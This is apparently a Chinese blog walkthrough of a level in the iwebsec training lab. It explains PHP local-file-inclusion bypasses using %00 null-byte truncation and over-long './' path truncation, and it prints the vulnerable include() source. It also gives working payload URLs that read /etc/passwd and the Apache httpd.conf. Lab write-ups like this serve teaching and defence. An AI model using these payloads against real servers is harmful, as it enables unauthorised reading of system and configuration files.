iwebsec靶场 文件包含漏洞通关笔记2-文件包含绕过(截断法)

目录

前言

1.%00截断

2.文件字符长度截断法(又名超长文件截断)

方法1(路径截断法)

方法2(点号截断法)

第02关 文件包含绕过

1.打开靶场

2.源码分析

3.00文件截断原理

4.00截断的条件

5.文件包含00截断绕过

(1)访问test.txt

 (2)访问敏感文件

6.文件字符长度截断法(垃圾字符为./)


前言

文件包含漏洞中,在服务器执行一个PHP文件时可以通过文件包含函数执行另一个文件,无论这个文件是不是PHP为其后缀,都可以当成PHP执行。

文件上传的截断绕过通常源码包含如下字段,比如说传入的参数filename=phpinfo.txt,那么include时会为文件名加上 .html后缀,于是include的文件名就变为了phpinfo.txt.html,这样会导致文件包含漏洞利用出现失败。于是如何进行漏洞渗透,使得此时渗透过程中即便传入的参数为phpinfo.txt,但是包含的文件仍为phpinfo.txt,这个后缀.html加不到后面,就可以绕过这个文件包含的过滤了。

    $filename  = $_GET['filename'];
    include($filename . ".html");

通常来讲文件包含的绕过方法为%00截断以及字符长度截断法。

1.%00截断

前提是php<5.3.4且  magic_quotes_gpc=off,原理是%00是被会url解码成0x00,如果遇到0x00,就会认为读取已结束,所以导致截断。

2.文件字符长度截断法(又名超长文件截断)

方法1(路径截断法)

(1)前提是php版本<5.2.8
(2)Windows下目录最大长度为256字节,超出的部分会被丢弃;
(3)Linux下目录最大长度为4096字节,超出的部分会被丢弃。

方法2(点号截断法)

(1)仅适用windows系统

(2)当长度大于256B时才会造成扩展名截断

由于本关卡中iwebsec是搭建在docker中,使用linux系统故而只能使用路径截断法

第02关 文件包含绕过

1.打开靶场

iwebsec 靶场漏洞库iwebsecicon-default.png?t=N7T8http://iwebsec.com:81/fi/02.php

2.源码分析

如下所示,源码包含include函数具备文件包含漏洞

<?php

  require_once('../header.php');
  ?>
<html>
	<head>
		<title>本地文件包含绕过</title>
	</head>
	<h2>本地文件包含绕过</h2>
		<div class="alert alert-success">
			<p>/02.php?filename=test.txt%00 </p>
		</div>
	<body>
<?php
	if(isset($_GET['filename'])){
	
    $filename  = $_GET['filename'];
    include($filename . ".html");
	}else{
		exit();
	}
	
?>

不过文件包含的过程中,对filename的处理源码如下所示,是将文件名后加上.html的后缀,也就是如果filename=test,那么include的文件未test.html

    $filename  = $_GET['filename'];
    include($filename . ".html");

也就是说无论传入任意后缀的文件,尾部都会被加上.html后缀,那么考虑用%00截断方法,这样可以将后面的.html截断,include函数传入的参数仍为原始文件名

3.00文件截断原理

00/x00截断原理:0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。这个可以用在对文件类型名的绕过上。
服务器在解析过程中,遇到ascii码为零的位置就停止,而这个ascii码为零的位置在16进制中是00,用0x开头表示16进制,也就是所说的0x00截断。

这样的话,如果我们要包含的文件名字为test.txt,在服务器拼接上.html后再被include,文件名变为了test.txt.html,这样就没有办法进行渗透

test.txt.html

假设此时我们要包含的文件名为test.txt%00,这时候在在服务器拼接上.html后再被include,文件名变为了test.txt%00.html

test.txt%00.html

由于%00截断的原理,服务器在将%00解码后,发生了截断功效,于是文件名便为

test.txt

这样就实现了文件包含%00绕过截断

4.00截断的条件

第一点:PHP的版本要小于5.3.4 <

第二点:php中的设置文件php.ini中的 magic_quotes_gpc 要关闭,

若想修改magic_quotes_gpc,需要修改php.ini文件,将magic_quotes_gpc关闭掉

5.文件包含00截断绕过

(1)访问test.txt

iwebsec 靶场漏洞库iwebsecicon-default.png?t=N7T8http://iwebsec.com:81/fi/02.php?filename=test.txt%00

 (2)访问敏感文件

访问/etc/passwd, 如下所示渗透成功

iwebsec 靶场漏洞库iwebsecicon-default.png?t=N7T8http://iwebsec.com:81/fi/02.php?filename=/etc/passwd%00

 访问Apache的httpd配置文件,如下所示渗透成功

iwebsec 靶场漏洞库iwebsecicon-default.png?t=N7T8http://iwebsec.com:81/fi/02.php?filename=/etc/httpd/conf/httpd.conf%00

6.文件字符长度截断法(垃圾字符为./)

在这里构造垃圾字符时,有一个小技巧使用word文档构造./././一直累加,直到字符数超过4096即可

构造如下url,垃圾字符的长度在linux系统中要超过4096

http://iwebsec.com:81/fi/02.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

 如下所示渗透成功

iwebsec靶场是一个漏洞集成容器,其中集成了大量的web漏洞环境,包括SQL注入、文件包含、命令执行、XXE、反序列化、SSRF、XSS、文件上传等常见的漏洞环境。\[1\] 要搭建iwebsec靶场,可以使用docker来运行容器。可以使用以下命令来启动靶场并将宿主机的8001端口映射给iwebsec靶场的80服务: docker run --restart=always --name iwebsec -it -dp 8001:80 iwebsec/iwebsec \[2\] 这样每次启动靶场时,都会自动运行,并且宿主机的8001端口会映射给靶场的80服务。 需要注意的是,iwebsec靶场还包含一些漏洞渗透,如redis数据库漏洞和MySQL数据库漏洞。如果需要进行渗透测试,需要将iwebsec靶场中的redis服务端口号和MySQL服务端口号映射到主机端口中。可以使用以下命令来查找iwebsec的配置文件: find / -name iwebsec_info.md \[3\] #### 引用[.reference_title] - *1* [Web安全 iwebsec 靶场搭建.](https://blog.csdn.net/weixin_54977781/article/details/130341391)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [iwebsec靶场搭建](https://blog.csdn.net/mooyuan/article/details/128031434)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值